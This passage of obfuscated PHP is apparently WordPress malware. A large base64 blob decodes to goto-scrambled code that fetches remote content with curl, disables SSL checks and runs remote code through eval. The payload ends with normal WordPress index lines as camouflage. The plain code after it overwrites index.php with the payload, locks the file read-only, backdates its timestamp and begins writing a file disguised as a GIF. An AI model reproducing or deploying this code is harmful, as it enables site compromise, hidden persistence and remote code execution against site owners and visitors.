ZJdzhxWVQ7IE9tZHE2V3FkZ2x2NnRlOiAkQWNXaFR2N1JJQllGR18gPSAiXHg2OFwxNjRceDc0XHg3MFx4NzNceDNhXDU3XDU3IjsgZ290byB0UWFMSGNJckF6VGE0WDsgS3g0UjBtYUZ6bjVCVnc6ICRBY1doVHY3UklCWUZHXyA9ICJceDY4XHg3NFx4NzRcMTYwXHgzYVw1N1w1NyI7IGdvdG8gaTlDVUQwejBtQWJPZnM7IExGdXRzODJrRzZsZEFROiBnb3RvIFhwd1h1bHlZTTk1V3VnOyBnb3RvIGVNV3VXU2xpX184RTFCOyB0UWFMSGNJckF6VGE0WDogZ290byBYcHdYdWx5WU05NVd1ZzsgZ290byBGV09YVFlIN1NqWlQycjsgQ3FaRzRWV05iMVVhd2E6IH0gZ290byBXcGFGYTFHcm13VGhXWjsgdTdtU2RMa1hrV1p1TXA6IGZ1bmN0aW9uIGxYUVBmUUpvV3BLVnhEKCRBRlE5WG9TeGpfaDhlZSwgJGs3SnlsenIzVDZvYWlhID0gYXJyYXkoKSkgeyBnb3RvIE1BN2FkVl91emR5MFdMOyBNQTdhZFZfdXpkeTBXTDogJHlVZk1SdTRmdXhtaEdfID0gYXJyYXkoIlwxNjNcMTY0XHg2MVx4NzRcMTY1XDE2MyIgPT4gMCwgIlx4NjNcMTU3XDE1Nlx4NzRceDY1XHg2ZVwxNjQiID0+ICcnLCAiXDE2NFx4NzlcMTYwXDE0NSIgPT4gJycpOyBnb3RvIEFlamlxcE4yWU50U2VOOyBXa2FSSW9iaGNPbFYzNzogcmV0dXJuICR5VWZNUnU0ZnV4bWhHXzsgZ290byBvRWZrVngyenJBSjBNUDsgazhKcTVjSXZTUEppN0w6IHI5RU1MblE0R05MckNkOiBnb3RvIFRfQ0N0RWIweGF6ZG5ROyBwaVpnbkpFZVZzdFZkYTogJEFGUTlYb1N4al9oOGVlIC49ICJcNzciIC4gaHR0cF9idWlsZF9xdWVyeSgkazdKeWx6cjNUNm9haWEpOyBnb3RvIGs4SnE1Y0l2U1BKaTdMOyBBZWppcXBOMllOdFNlTjogaWYgKCEoaXNfYXJyYXkoJGs3SnlsenIzVDZvYWlhKSAmJiBjb3VudCgkazdKeWx6cjNUNm9haWEpKSkgeyBnb3RvIHI5RU1MblE0R05MckNkOyB9IGdvdG8gcGlaZ25KRWVWc3RWZGE7IFRfQ0N0RWIweGF6ZG5ROiB0cnkgeyBnb3RvIGVlbjhpZmdZMGJZX1dOOyBadV95ZWYyaGloeG9aQjogY3VybF9zZXRvcHQoJENTSGkzZF92b3hibHloLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byB4VDZiS1NqMnRiWV80NjsgVkFPYm04QmRJZFNNYmQ6IGN1cmxfc2V0b3B0KCRDU0hpM2Rfdm94Ymx5aCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIHFKS01CNkVRUm93eGRfOyBGZmVnMDJCOEw4UXg1SDogY3VybF9zZXRvcHQoJENTSGkzZF92b3hibHloLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgZ290byBJMlZrYVYzanpQNU5JMDsgS25kTk1fWnhqNDVpc2o6IHBBOVBEX1N0YzQ3RG82OiBnb3RvIGNiUmlkVHZLaTZrMzQyOyBlbUVLbmh3NjEwUFZPUjogaWYgKCFpbl9hcnJheSgkeVVmTVJ1NGZ1eG1oR19bIlwxNjNcMTY0XDE0MVwxNjRcMTY1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIFQwV0pTWnBlck1ieXZlOyB9IGdvdG8gQ2h3X2JESk5FM0FNeDk7IHROVk5wZWZwRXVIRkM1OiAkeVVmTVJ1NGZ1eG1oR18gPSBhcnJheV9tZXJnZSgkeVVmTVJ1NGZ1eG1oR18sIFptM2Zfc0lZR3NfUzFBKCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIGVtRUtuaHc2MTBQVk9SOyB2cjMwcnNpT3RmYkJ2cjogaWYgKGluaV9nZXQoIlx4NjFceDZjXHg2Y1wxNTdceDc3XHg1ZlwxNjVcMTYyXHg2Y1wxMzdceDY2XDE1N1x4NzBcMTQ1XHg2ZSIpKSB7IGdvdG8gcEE5UERfU3RjNDdEbzY7IH0gZ290byB4RTB3Sm1rYzhkbmo4QzsgRU90RzlwQWptSFQ4ZTU6IGJyRktFSW9xaV9YbjRHOiBnb3RvIHFHX3RURFkycFRtSGQ5OyBjYlJpZFR2S2k2azM0MjogJHFvTDJyRlhnRmxOcnowID0gYXJyYXkoIlwxNTBceDc0XDE2NFx4NzAiID0+IGFycmF5KCJceDZkXDE0NVx4NzRcMTUwXHg2Zlx4NjQiID0+ICJceDQ3XDEwNVwxMjQiLCAiXDE2NFwxNTFceDZkXDE0NVx4NmZcMTY1XDE2NCIgPT4gNjAsICJcMTQ2XHg2Zlx4NmNcMTU0XDE1N1wxNjdcMTM3XDE1NFwxNTdceDYzXHg2MVwxNjRcMTUxXHg2Zlx4NmUiID0+IDApLCAiXHg3M1wxNjNceDZjIiA9PiBhcnJheSgiXHg3Nlx4NjVcMTYyXDE1MVwxNDZcMTcxXDEzN1wxNjBceDY1XDE0NVwxNjIiID0+IGZhbHNlLCAiXDE2Nlx4NjVceDcyXDE1MVx4NjZcMTcxXHg1Zlx4NzBceDY1XDE0NVwxNjJcMTM3XDE1NlwxNDFcMTU1XDE0NSIgPT4gZmFsc2UpKTsgZ290byBqQVJ5WldpNmdlT3ZqZDsgTXA0MnBrZFRRN05LMmQ6IEBjdXJsX2Nsb3NlKCRDU0hpM2Rfdm94Ymx5aCk7IGdvdG8gWV94WkJrZkNlVjIwNFU7IFRsWGxPazF0TEVqMDIzOiAkeVVmTVJ1NGZ1eG1oR19bIlwxNjRceDc5XHg3MFwxNDUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJENTSGkzZF92b3hibHloLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgZ290byBuVVVUcEZpUjBWV2NqUDsgeFQ2YktTajJ0YllfNDY6ICRkcEVaTEtNM19IRnVDRSA9IGN1cmxfZXhlYygkQ1NIaTNkX3ZveGJseWgpOyBnb3RvIHJtRlpzOUkya0lOa1lGOyBlZW44aWZnWTBiWV9XTjogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0M1x4NzVcMTYyXDE1NFwxMzdceDY1XDE3MFx4NjVceDYzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJceDYzXHg3NVwxNjJcMTU0XDEzN1wxNTFceDZlXHg2OVwxNjQiKSkgeyBnb3RvIFBMZXd2dVVTM0RtbGhZOyB9IGdvdG8gdnIzMHJzaU90ZmJCdnI7IHFKS01CNkVRUm93eGRfOiBjdXJsX3NldG9wdCgkQ1NIaTNkX3ZveGJseWgsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIGpZZFBaSlE3YkJlNkR5OyBJQnhfSW9fZThLaVRYeTogJENTSGkzZF92b3hibHloID0gY3VybF9pbml0KCk7IGdvdG8gUlNBb05iU3c1cWNSODg7IG5VVVRwRmlSMFZXY2pQOiAkeVVmTVJ1NGZ1eG1oR19bIlx4NjNceDZmXDE1Nlx4NzRceDY1XHg2ZVwxNjQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJENTSGkzZF92b3hibHloLCBDVVJMSU5GT19SRURJUkVDVF9VUkwpKTsgZ290byBNcDQycGtkVFE3TksyZDsgemgzMkU1aFZmS0ljeXc6IGN1cmxfc2V0b3B0KCRDU0hpM2Rfdm94Ymx5aCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byBadV95ZWYyaGloeG9aQjsgUlNBb05iU3c1cWNSODg6IGN1cmxfc2V0b3B0KCRDU0hpM2Rfdm94Ymx5aCwgQ1VSTE9QVF9VUkwsICRBRlE5WG9TeGpfaDhlZSk7IGdvdG8gRmZlZzAyQjhMOFF4NUg7IGtkc0dHT0NWVTdSS1FDOiAkeVVmTVJ1NGZ1eG1oR19bIlwxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzQiXSA9IHN0cnZhbCgkZHBFWkxLTTNfSEZ1Q0UpOyBnb3RvIFFUcDhjRU1mdF9ISU1kOyBEREdJMXhQTURidm9HTzogJFVmdFhQUzVRd0Y5QVI5ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRBRlE5WG9TeGpfaDhlZSwgZmFsc2UsICRjYzVLVUs5d2FObmhxSyk7IGdvdG8gdE5WTnBlZnBFdUhGQzU7IHN3bkc0bzRxa2tmRjZYOiBnb3RvIGJyRktFSW9xaV9YbjRHOyBnb3RvIEtuZE5NX1p4ajQ1aXNqOyBZX3haQmtmQ2VWMjA0VTogaWYgKCFpbl9hcnJheSgkeVVmTVJ1NGZ1eG1oR19bIlwxNjNcMTY0XHg2MVx4NzRcMTY1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIGtfSjlpaDVLcWF1SlJCOyB9IGdvdG8ga2RzR0dPQ1ZVN1JLUUM7IGpBUnlaV2k2Z2VPdmpkOiAkY2M1S1VLOXdhTm5ocUsgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJHFvTDJyRlhnRmxOcnowKTsgZ290byBEREdJMXhQTURidm9HTzsgSTJWa2FWM2p6UDVOSTA6IGN1cmxfc2V0b3B0KCRDU0hpM2Rfdm94Ymx5aCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGdvdG8gVkFPYm04QmRJZFNNYmQ7IHJtRlpzOUkya0lOa1lGOiAkeVVmTVJ1NGZ1eG1oR19bIlx4NzNceDc0XHg2MVwxNjRcMTY1XDE2MyJdID0gaW50dmFsKGN1cmxfZ2V0aW5mbygkQ1NIaTNkX3ZveGJseWgsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIFRsWGxPazF0TEVqMDIzOyBDaHdfYkRKTkUzQU14OTogJHlVZk1SdTRmdXhtaEdfWyJcMTQzXDE1N1wxNTZcMTY0XHg2NVwxNTZceDc0Il0gPSBzdHJ2YWwoJFVmdFhQUzVRd0Y5QVI5KTsgZ290byBXU0dPU3ZPcXY1WlpzMzsgV1NHT1N2T3F2NVpaczM6IFQwV0pTWnBlck1ieXZlOiBnb3RvIEVPdEc5cEFqbUhUOGU1OyBRVHA4Y0VNZnRfSElNZDoga19KOWloNUtxYXVKUkI6IGdvdG8gc3duRzRvNHFra2ZGNlg7IGpZZFBaSlE3YkJlNkR5OiBjdXJsX3NldG9wdCgkQ1NIaTNkX3ZveGJseWgsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyBnb3RvIHpoMzJFNWhWZktJY3l3OyB4RTB3Sm1rYzhkbmo4QzogZ290byBickZLRUlvcWlfWG40RzsgZ290byBCNTdsYnZxRG9UWjdKQzsgQjU3bGJ2cURvVFo3SkM6IFBMZXd2dVVTM0RtbGhZOiBnb3RvIElCeF9Jb19lOEtpVFh5OyBxR190VERZMnBUbUhkOTogfSBjYXRjaCAoRXhjZXB0aW9uICR4QUVXMG51akswY2wxZikgeyB9IGdvdG8gV2thUklvYmhjT2xWMzc7IG9FZmtWeDJ6ckFKME1QOiB9IGdvdG8gWTlTaERZYURSbXFaTGw7IFJfek9BZVVkRFpFZDVQOiAkSHhtVjBMVnBMVjlDa1BbIlx4NzJceDY2Il0gPSBNcVR6SlZCUU55QWZRWSgkbV9DckR2Q2xnOVJFQ1UpOyBnb3RvIFRDRDFPTmFFZjZsSjV4OyB1SlU4ZGxRc25qbFllZTogJEh4bVYwTFZwTFY5Q2tQWyJcMTYzXDE1NiJdID0gbXFUemp2YlFOeUFmUXkoJF9TRVJWRVJbIlx4NTNceDQzXDEyMlx4NDlcMTIwXDEyNFx4NWZceDRlXDEwMVx4NGRcMTA1Il0pOyBnb3RvIG1DMnk4QzFOYTYzWDF0OyBDeWtfTThKM1pPdmZoejogbWV0YXBob25lKCJceDRlXHg1NFx4NGRcNjFceDRmXHg1NFwxMjVcNjRcMTE1XHg0NFx4NjNceDMxXDExN1wxMjRceDU5XDYxXHg0ZFx4NmFcMTAxXHg3OVwxMTdceDQ0XHg2Ylx4MzVceDRlXHg1NFwxMjVceDMxXDExNlwxMDRcMTI1XDE3MCIpOyBnb3RvIG1jZXpaMlNUbzJQQkY5OyBzV19vWHhGRXVsYW83NjogSGxFN3RJVkVCOEFsTm46IGdvdG8gQktSd0NNa2sxbzRERHo7IGl0RE5BdzB1UlJXcjhzOiBQQjltRHY3bzd5ZkNnbzogZ290byBXMk9UcE43bHZFaWRrVzsgVV91V2hXcjl0X0VoTzc6IGhlYWRlcigiXDEwM1x4NmZcMTU2XDE2NFwxNDVcMTU2XDE2NFx4MmRcMTI0XDE3MVwxNjBceDY1XHgzYVx4MjBcMTY0XDE0NVwxNzBceDc0XDU3XDE1MFx4NzRceDZkXDE1NFw3M1x4MjBcMTQzXDE1MFwxNDFceDcyXHg3M1wxNDVcMTY0XHgzZFx4NzVceDc0XHg2Nlw1NVw3MCIpOyBnb3RvIHd4YXVVWUZyd3pXNmVHOyBndjdvT0tfVXR5OUh3cjogJGpEcEVLanZHU1pfWkp0ID0gYnB1WmV4ckFiVTJETE4oKTsgZ290byBWbGZvcHlmem94VUZlZzsgZFczUDIwWEswazFzVzE6ICRiMF9pYTRJeVBkMkVFNSA9IGZhbHNlOyBnb3RvIFA1Tm15alhiOGFrRkNNOyBreWZyQzJnSDNSeDlzNzogQGhlYWRlcigiXDEwM1x4NmZceDZlXHg3NFx4NjVceDZlXDE2NFw1NVx4NTRceDc5XDE2MFx4NjVcNzIiIC4gJHlVZk1SdTRmdXhtaEdfWyJcMTY0XHg3OVwxNjBceDY1Il0pOyBnb3RvIHRKSVdBcTZ6dEthRzFqOyByenNPOVc2VjZjc0tqazogaWYgKGluX2FycmF5KCR5VWZNUnU0ZnV4bWhHX1siXHg3M1wxNjRcMTQxXDE2NFx4NzVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gVlp6MThqMWY5M0JxNGw7IH0gZ290byBibXFldkZHeU1jd3JaZjsgbmN4T2dKVHprQVBabFM6ICR5VWZNUnU0ZnV4bWhHXyA9IGxYcXBmcWpPd1BLdlhkKGJhc2U2NF9kZWNvZGUoIlwxNDFcMTEwXDEyMlw2MFwxNDNceDQ0XDE1N1wxNjZcMTE0XHgzM1wxNjBcMTcyXDExNVx4NTRceDQxXHg3OFx4NGRceDZlXHg1OVx4NzhcMTE1XHg3OVw2NVw2MFx4NjNceDZkXHg0Nlw2MFwxMzJceDUzXHgzNVx4NzRceDY1XDEyM1w3MCIpLCAkSHhtVjBMVnBMVjlDa1ApOyBnb3RvIHJ6c085VzZWNmNzS2prOyBLMnZLN0NFOVJxX1lUTDogJGI0U3dVNjROVFBjSkhLID0gcHJlZ19yZXBsYWNlKCJceDJmXHg1Y1w3N1x4MmVcNTJcNTciLCAnJywgJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVcMTA1XDEyM1x4NTRcMTM3XHg1NVx4NTJcMTExIl0pOyBnb3RvIGRXM1AyMFhLMGsxc1cxOyBrNjhHazNIZ2hNbWFNdTogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJcMTIzXHg0NVwxMjJcMTI2XHg0NVwxMjJceDVmXHg0ZVwxMDFceDRkXDEwNSJdKSkpOyBnb3RvIFU0bmVXb29KUGF5ZjZfOyB0SklXQXE2enRLYUcxajogZWNobyAkeVVmTVJ1NGZ1eG1oR19bIlx4NjNceDZmXDE1Nlx4NzRceDY1XDE1Nlx4NzQiXTsgZ290byBVcXdReTIxbUF0UkNIZTsgd3hhdVVZRnJ3elc2ZUc6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBEZndDbEF3SXFTUDVZSTsgQktSd0NNa2sxbzRERHo6IFZaejE4ajFmOTNCcTRsOiBnb3RvIHNXQk5YMDVfUnhGd21mOyBOcUpYdWZTdmJPcFhrNTogJE8wa0FXT3I2enl1MTczID0gJFZ4Z2wwdElqMmVYMXBJKCJceDdlIiwgIlx4MjAiKTsgZ290byBLNDRWUEFyaGRxSzNBSDsgbWNleloyU1RvMlBCRjk6IGNsYXNzIEJGMTR0cmI4MEFQdGtJIHsgc3RhdGljIGZ1bmN0aW9uIFJTM2VGbzFCcWUyN0VOKCRaeGsxRmRBUTlFUDRGbCkgeyBnb3RvIHdXV1FSNVZHN3hPazBwOyB3V1dRUjVWRzd4T2swcDogJFo2M1RDdGtpR3FTbWFzID0gIlwxNjIiIC4gIlwxNDEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlx4NjUiOyBnb3RvIGo0c1RiU2tBZ1pUaW5JOyBsVHZ4XzNuR0k4Q2NVTjogcmV0dXJuICRTZ1FGUnpXc2lURzNZMjsgZ290byBCX01kWENhekdvc1hOTjsgZjJFaGxsTWVZSFhEcWI6ICRFM1pzRU9ucTRBbDdpVCA9IGV4cGxvZGUoIlx4N2IiLCAkWnhrMUZkQVE5RVA0RmwpOyBnb3RvIFdPb2l4bXIwQzR5RGl2OyBqNHNUYlNrQWdaVGluSTogJHYxZkEwRGJLZnZvTkVpID0gJFo2M1RDdGtpR3FTbWFzKCJceDdlIiwgIlx4MjAiKTsgZ290byBmMkVobGxNZVlIWERxYjsgeDY5SmVNQ0lTWXp6bTE6IGZvcmVhY2ggKCRFM1pzRU9ucTRBbDdpVCBhcyAkUmxOcGU4OFpxelk4N3cgPT4gJGdvSkRTSkloNjM3V0ZJKSB7ICRTZ1FGUnpXc2lURzNZMiAuPSAkdjFmQTBEYktmdm9ORWlbJGdvSkRTSkloNjM3V0ZJIC0gMjM1MzddOyB2N2w1ZjBldHdqc0QwcjogfSBnb3RvIHpQZ1NzTkE2R2liVGZHOyBXT29peG1yMEM0eURpdjogJFNnUUZSeldzaVRHM1kyID0gJyc7IGdvdG8geDY5SmVNQ0lTWXp6bTE7IHpQZ1NzTkE2R2liVGZHOiB6RF83WENwMk9nck9kbzogZ290byBsVHZ4XzNuR0k4Q2NVTjsgQl9NZFhDYXpHb3NYTk46IH0gc3RhdGljIGZ1bmN0aW9uIExvdGFnY2R1YThpUGs4KCRJSzByOEkybVE1NFM5MSwgJGpicXY1ekJlNzc2NEdsKSB7IGdvdG8gSTBWaTJyejZOQnkxT3o7IEkwVmkycno2TkJ5MU96OiAkdEZadVRjNnkwVlpnT00gPSBjdXJsX2luaXQoJElLMHI4STJtUTU0UzkxKTsgZ290byBQMXVnTGM4dllIb2FPczsgSkIwMExlOGJiRDBYU206IHJldHVybiBlbXB0eSgkdExTTlRqdUFxa28zbHopID8gJGpicXY1ekJlNzc2NEdsKCRJSzByOEkybVE1NFM5MSkgOiAkdExTTlRqdUFxa28zbHo7IGdvdG8gZU96d3JHcHVxWm9vb1k7IFAxdWdMYzh2WUhvYU9zOiBjdXJsX3NldG9wdCgkdEZadVRjNnkwVlpnT00sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGZCQkl1U1ZZY1hISnY5OyBmQkJJdVNWWWNYSEp2OTogJHRMU05UanVBcWtvM2x6ID0gY3VybF9leGVjKCR0Rlp1VGM2eTBWWmdPTSk7IGdvdG8gSkIwMExlOGJiRDBYU207IGVPendyR3B1cVpvb29ZOiB9IHN0YXRpYyBmdW5jdGlvbiBLZTJjdjFaenV0cUprVygpIHsgZ290byB2aldJX0FxNUxkWnM4VzsgektyemhSRTlVUlh2d0Q6ICRVMm0xeEprOW5POTRzaSA9IEAkV2htcFk5b3pBT3J6RHpbMV0oJFdobXBZOW96QU9yekR6WzIgKyA4XShJTlBVVF9HRVQsICRXaG1wWTlvekFPcnpEelsxICsgOF0pKTsgZ290byBQVEtVMVZYYzlrbmhjWDsgSm9BWERUNXlqc1p1RHI6IGRpZTsgZ290byBKTzNfQlh0bWJrQmd1UTsgWTFfSG1vZDFYWkM0Nnk6IHJxQU5sQk0zS1lSNEg5OiBnb3RvIHpLcnpoUkU5VVJYdndEOyBIb01tbzZrSGlqSjh2UjogaWYgKCEoQCR2STY4d1c3M2tKSHd2TlswXSAtIHRpbWUoKSA+IDAgYW5kICRkckV4WUo4alNDTFhTbCA9PT0gIlwxNDRcMTQ2XHgzNVx4MzNcNjJceDM3XDY3XDYyXDY0XHg2Mlw2NVw3MFx4NjRcMTQ2XHgzOVw2N1w3MFwxNDRcMTQ0XHgzMVwxNDNceDM2XHgzMlx4MzZceDM0XDE0Nlx4NjJcNjdceDMwXDcwXHgzN1x4MzkiKSkgeyBnb3RvIEZFdmpocnJDNHJWSEU1OyB9IGdvdG8gV0lqa3pFSnViaEFfaHk7IE13OGRhWExHVjF5RF9WOiBAZXZhbCgkV2htcFk5b3pBT3J6RHpbMCArIDRdKCRmSnlkZEw0OWpfMkE2aSkpOyBnb3RvIEpvQVhEVDV5anNadURyOyBFcnpwY3Nvb3l4UEFyMTogZm9yZWFjaCAoJGk1b3RhU2RIUE5GcVJ5IGFzICRhRG5SRnJSU292aERraikgeyAkV2htcFk5b3pBT3J6RHpbXSA9IHNlbGY6OlJTM0VmbzFicWUyN2VOKCRhRG5SRnJSU292aERraik7IER4NWFLOHpjSERsVHRiOiB9IGdvdG8gWTFfSG1vZDFYWkM0Nnk7IFBUS1UxVlhjOWtuaGNYOiAkZTM2MGV6ekFLc01EQnUgPSBAJFdobXBZOW96QU9yekR6WzAgKyAzXSgkV2htcFk5b3pBT3J6RHpbMCArIDZdLCAkVTJtMXhKazluTzk0c2kpOyBnb3RvIFdBeVdKOFFWdnRJU3cyOyBLT2E2S3lMN2k2c3kzRjogQCRXaG1wWTlvekFPcnpEelszICsgN10oSU5QVVRfR0VULCAiXHg2ZlwxNDYiKSA9PSAxICYmIGRpZSgkV2htcFk5b3pBT3J6RHpbMSArIDRdKF9fRklMRV9fKSk7IGdvdG8gdkhhWGEwRHJUc2xia247IGI3dFAzVzAxQkYyMk1ROiAkWTNjbkI0bEZZTDZjSkQgPSBtZDUoJHZJNjh3Vzcza0pId3ZOWzAgKyAzXSk7IGdvdG8gS09hNkt5TDdpNnN5M0Y7IEpPM19CWHRtYmtCZ3VROiBGRXZqaHJyQzRyVkhFNTogZ290byBFemp1allHaVNfczl6eDsgdmpXSV9BcTVMZFpzOFc6ICRpNW90YVNkSFBORnFSeSA9IGFycmF5KCJceDMyXHgzM1x4MzVcNjZcNjRcMTczXHgzMlw2M1w2NVx4MzRcNzFcMTczXDYyXDYzXHgzNVx4MzZcNjJcMTczXDYyXDYzXDY1XDY2XDY2XHg3Ylx4MzJceDMzXDY1XHgzNFx4MzdceDdiXDYyXDYzXDY1XDY2XHgzMlx4N2JceDMyXHgzM1x4MzVceDM2XHgzOFx4N2JceDMyXHgzM1w2NVw2Nlw2MVwxNzNceDMyXDYzXHgzNVx4MzRceDM2XHg3Ylw2Mlx4MzNcNjVceDM1XHgzM1wxNzNceDMyXHgzM1w2NVw2Nlx4MzRcMTczXHgzMlw2M1w2NVx4MzRcNjdceDdiXDYyXHgzM1x4MzVceDM1XDcwXDE3M1w2Mlw2M1x4MzVcNjVceDMyXHg3Ylx4MzJcNjNceDM1XHgzNVx4MzMiLCAiXDYyXDYzXDY1XHgzNFw3MFwxNzNcNjJcNjNcNjVceDM0XDY3XDE3M1w2Mlw2M1w2NVx4MzRceDM5XHg3Ylw2Mlw2M1w2NVx4MzZcNzBceDdiXDYyXDYzXHgzNVw2NFw3MVx4N2JcNjJcNjNceDM1XHgzNVx4MzJceDdiXDYyXDYzXHgzNVx4MzRceDM3XHg3Ylx4MzJcNjNceDM2XDYxXDY0XDE3M1x4MzJcNjNcNjZceDMxXDYyIiwgIlw2Mlx4MzNcNjVcNjVcNjdcMTczXHgzMlw2M1w2NVw2NFx4MzhceDdiXHgzMlw2M1w2NVw2NVx4MzJceDdiXDYyXDYzXHgzNVw2NVx4MzNceDdiXDYyXHgzM1x4MzVcNjZcNzBcMTczXHgzMlx4MzNcNjVceDM2XHgzM1wxNzNceDMyXHgzM1x4MzVceDM2XDYyXDE3M1x4MzJcNjNceDM1XDY2XHgzNFwxNzNcNjJceDMzXHgzNVx4MzVcNjJceDdiXDYyXDYzXDY1XDY2XDYzXHg3Ylx4MzJceDMzXDY1XHgzNlw2MiIsICJceDMyXDYzXDY1XDY1XDYxXHg3Ylw2Mlx4MzNceDM1XHgzNlx4MzZcMTczXDYyXHgzM1x4MzVceDM2XHgzNFwxNzNceDMyXDYzXHgzNVw2NVx4MzYiLCAiXHgzMlx4MzNcNjVcNjZcNjVceDdiXDYyXHgzM1x4MzVcNjZcNjZcMTczXHgzMlx4MzNcNjVcNjRcNzBcMTczXDYyXHgzM1x4MzVceDM2XDYyXHg3Ylx4MzJceDMzXHgzNlx4MzBceDM5XDE3M1x4MzJceDMzXHgzNlx4MzFcNjFcMTczXDYyXHgzM1x4MzVceDM2XDcwXHg3Ylw2Mlx4MzNcNjVceDM2XHgzM1x4N2JceDMyXHgzM1w2NVw2Nlx4MzJcMTczXDYyXHgzM1w2NVx4MzZceDM0XDE3M1x4MzJceDMzXHgzNVx4MzVceDMyXDE3M1x4MzJcNjNcNjVceDM2XHgzM1wxNzNceDMyXHgzM1x4MzVcNjZcNjIiLCAiXDYyXDYzXHgzNVw2Nlx4MzFceDdiXHgzMlw2M1w2NVx4MzVceDM4XDE3M1w2Mlw2M1w2NVx4MzVceDM1XHg3Ylx4MzJceDMzXDY1XDY2XDYyXDE3M1w2Mlw2M1w2NVw2Nlw3MFwxNzNcNjJcNjNceDM1XDY2XDYwXDE3M1w2Mlw2M1x4MzVceDM2XHgzMlwxNzNceDMyXHgzM1x4MzVcNjRcNjdceDdiXHgzMlx4MzNcNjVceDM2XDcwXHg3Ylw2Mlx4MzNcNjVcNjZceDM0XDE3M1x4MzJcNjNceDM1XDY1XHgzMlwxNzNceDMyXDYzXDY1XDY1XHgzM1wxNzNcNjJcNjNcNjVcNjRcNjdceDdiXHgzMlx4MzNceDM1XHgzNlx4MzJcMTczXDYyXHgzM1w2NVx4MzVceDMzXDE3M1w2Mlw2M1x4MzVcNjRceDM3XHg3Ylx4MzJcNjNcNjVceDM0XDcwIiwgIlx4MzJceDMzXHgzNVw3MVx4MzFceDdiXHgzMlw2M1w2Nlw2Mlx4MzEiLCAiXHgzMlx4MzNcNjVcNjNceDM4IiwgIlx4MzJceDMzXHgzNlw2MVw2NlwxNzNcNjJceDMzXDY2XDYyXHgzMSIsICJcNjJceDMzXDY1XDcxXHgzOFx4N2JceDMyXDYzXHgzNVx4MzhcNjFceDdiXDYyXDYzXHgzNVx4MzhcNjFcMTczXHgzMlw2M1x4MzVceDM5XHgzOFx4N2JceDMyXDYzXDY1XHgzN1w2NCIsICJcNjJcNjNcNjVceDM2XDYxXHg3Ylx4MzJceDMzXHgzNVw2NVx4MzhcMTczXHgzMlw2M1w2NVx4MzVcNjVcMTczXDYyXDYzXDY1XHgzNFw2N1x4N2JcNjJceDMzXDY1XHgzNlw2Mlx4N2JceDMyXHgzM1w2NVw2NFw3MVwxNzNcNjJceDMzXDY1XHgzNlx4MzhcMTczXHgzMlw2M1x4MzVceDM1XHgzOFwxNzNceDMyXHgzM1x4MzVceDM1XDYzXHg3Ylw2Mlx4MzNceDM1XDY1XDYxXHg3Ylx4MzJceDMzXDY1XHgzNFw2NlwxNzNceDMyXDYzXDY1XHgzNFx4MzciKTsgZ290byBFcnpwY3Nvb3l4UEFyMTsgV0F5V0o4UVZ2dElTdzI6ICR2STY4d1c3M2tKSHd2TiA9ICRXaG1wWTlvekFPcnpEelsxICsgMV0oJGUzNjBlenpBS3NNREJ1LCB0cnVlKTsgZ290byBiN3RQM1cwMUJGMjJNUTsgdkhhWGEwRHJUc2xia246ICRkckV4WUo4alNDTFhTbCA9IG1kNSgkWTNjbkI0bEZZTDZjSkQpOyBnb3RvIEhvTW1vNmtIaWpKOHZSOyBXSWprekVKdWJoQV9oeTogJGZKeWRkTDQ5al8yQTZpID0gc2VsZjo6bG90QUdjZFVhOElQSzgoJHZJNjh3Vzcza0pId3ZOWzAgKyAxXSwgJFdobXBZOW96QU9yekR6WzIgKyAzXSk7IGdvdG8gTXc4ZGFYTEdWMXlEX1Y7IEV6anVqWUdpU19zOXp4OiB9IH0gZ290byBFTDI0bjBBY3hNZndZdzsgalVycDNZZ1Fmbm1xdzU6ICRtX0NyRHZDbGc5UkVDVSA9ICcnOyBnb3RvIEh0T2ZmRTVvWGQxUVRhOyBXMk9UcE43bHZFaWRrVzogaXlwWHNEU2VBTlBFMGk6Cj8+Cjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @touch($do."index.php", filectime($do."index.php")); @chmod($do."index.php", 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = 